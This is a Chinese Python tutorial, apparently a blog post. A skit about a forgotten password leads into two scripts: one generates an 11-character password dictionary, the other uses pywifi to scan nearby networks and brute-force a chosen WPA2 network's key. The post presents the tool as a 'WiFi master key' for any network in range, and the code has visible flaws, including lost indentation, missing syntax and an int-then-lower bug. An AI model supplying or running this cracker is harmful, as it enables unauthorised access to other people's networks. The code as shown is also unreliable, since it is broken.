小鱼:小屌丝,你家WIFI密码是多少?
小屌丝:你试一试123456
小鱼:不对,
小屌丝:那再试下654321
小鱼:试了,还是不对!
小屌丝:我想一想…
小鱼:你还能想起来吗?
小屌丝:鱼哥,我还在想呢…
小鱼:那你慢慢想…
小鱼我实在是没有耐心等了, 我准备撸一个破解器。
思路也非常的简单:
因为我们需要wifi密码破解, 所以这里需要用到第三方库,pywifi
老规矩,pip 安装
pip install pywifi
其它安装方式,直接看这两篇:
代码示例
import itertools as its
import string
import os
#数字+字母
paswds= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
#11位密码
r = its.product(paswds,repeat = 11)
#文件路径
out_path = './output_file'
file_name = 'pwd.txt'
out_file = os.path.join(out_path,file_name)
#如果没有outfile_path 这个文件夹,就自动创建
if not os.path.exists(out_path):
os.mkdir(out_path)
dic = open(out_file,'a')
#循环获取生成密码本
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
#关闭
dic.close()
注:
密码本准备完成, 接下来,我们就来破解wifi密码。
代码示例:
# -*- coding:utf-8 -*-
# @Time : 2022-09-03
# @Author : Carl_DJ
import pywifi
import time
from pywifi import const
# wifi 扫描
def wifi_scan():
#初始化wifi
wifi = pywifi.PyWiFi()
#使用第一个无线网卡
interface = wifi.interfaces()[0]
#开始扫描
interface.scan()
for i in range(4):
time.sleep(0.5)
print(f'正在扫码可用wifi,请稍后...(' + str(3 - i), end=')')
print(f'扫描完成!)')
print('{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')
#把扫描结果,存放在每一个wifi对象中
wifi_bss = interface.scan_results()
#存放wifi名
wifi_name_save =set()
for n in wifi_bss:
#解决乱码问题
wifi_name_signal = (100 + n.signal,n.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_save.add(wifi_name_signal)
#wifi 存入列表并按照信号强度排序
wifi_name_list =list(wifi_name_save)
wifi_name_list = sorted(wifi_name_list,key=lambda a:a[0],reverse=True)
num = 0
#格式化输出
while num < len(wifi_name_list)
print('{:<6d}.{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1]))
num += 1
print('='* 30)
#返回wifi列表
return wifi_name_list
# wifi 破解
def wifi_creak(wifi_name):
#字典路径
wifi_dict_path = input("请输入wifi破解密码路径:")
with open(wifi_dict_path,'r') as f:
#遍历密码
for pwd in f:
#去除密码的末尾换行符
pwd = pwd.strip('\n')
#创建wifi对象
wifi = pywifi.PyWiFi()
#创建网卡对象,为第一个wifi网卡
interface = wifi.interfaces()[0]
#断开所有wifi链接
interface.disconnect()
#等待wifi断开
while interface.status() == 4:
# 当其处于连接状态时,利用循环等待其断开
pass
#创建连接文件(对象)
profile = pywifi.Profile()
#wifi名称
profile.ssid = wifi_name
#认证
profile.auth = const.AUTH_ALG_OPEN
#wifi默认加密算法,WPA2PSK
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
#wifi密码
profile.key = pwd
#删除所有wifi链接文件
interface.remove_network_profiles()
#设置wifi新的链接文件
tmp_profile =interface.add_network_profile(profile)
#开始尝试链接
interface.connect(tmp_profile)
start_time = time.time()
#如果链接时间超过1.5s,就认为密码不正确,在1.5s,说明链接成功
while time.time() - start_time < 1.5:
#默认连接成功状态为4
if interface.status() == 4:
print(f'wifi连接成功,密码为:{pwd}')
exit(0)
else:
print(f'正在尝试使用{pwd}进行破解密码!')
#主函数
def main():
#退出标志
exit_flag = 0
#目标编号
target = -1
while not exit_flag:
try:
print('wifi万能钥匙'.center(35,'-'))
#调用扫描函数,返回一个排序后的wifi列表
wifi_list = wifi_scan()
# 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
choose_exit_flag = 0
while not choose_exit_flag:
try:
target = int(input('请选择你要尝试破解的wifi: '))
# 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
if target in range(len(wifi_list)):
#二次确认
while not choose_exit_flag:
try:
choose = int(input(f'你选择要破解的WiFi名称是: {wifi_list[target][1]},确定吗?(Y/N)'))
#对用户输入进行小写处理,并判断
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
#处理用户其他字模输入
else:
print(f'只能输入 Y/N ')
# 处理用户非字母输入
except ValueError:
print(f'只能输入 Y/N ')
#退出破解
if choose_exit_flag == 1:
break
else:
print(f'请重新输入!')
except ValueError:
print(f'只能输入数字,需要重新输入!')
# 密码破解,传入用户选择的wifi名称
wifi_creak(wifi_list[target][1])
print('='*30)
exit_flag = 1
except Exception as e:
print(f'错误信息为: {e}')
raise e
# 执行
if __name__ == '__main__':
main()
看到这里,今天的分享就差不多完事了。
今天通过pywifi来写了一个wifi破解神器。
由于这是非GUI版本,所以可以把这个代码封装成.exe运行程序。
这样运行起来,更方便。
我是小鱼,
关注我,带你学习更多更专业更有趣的Python知识。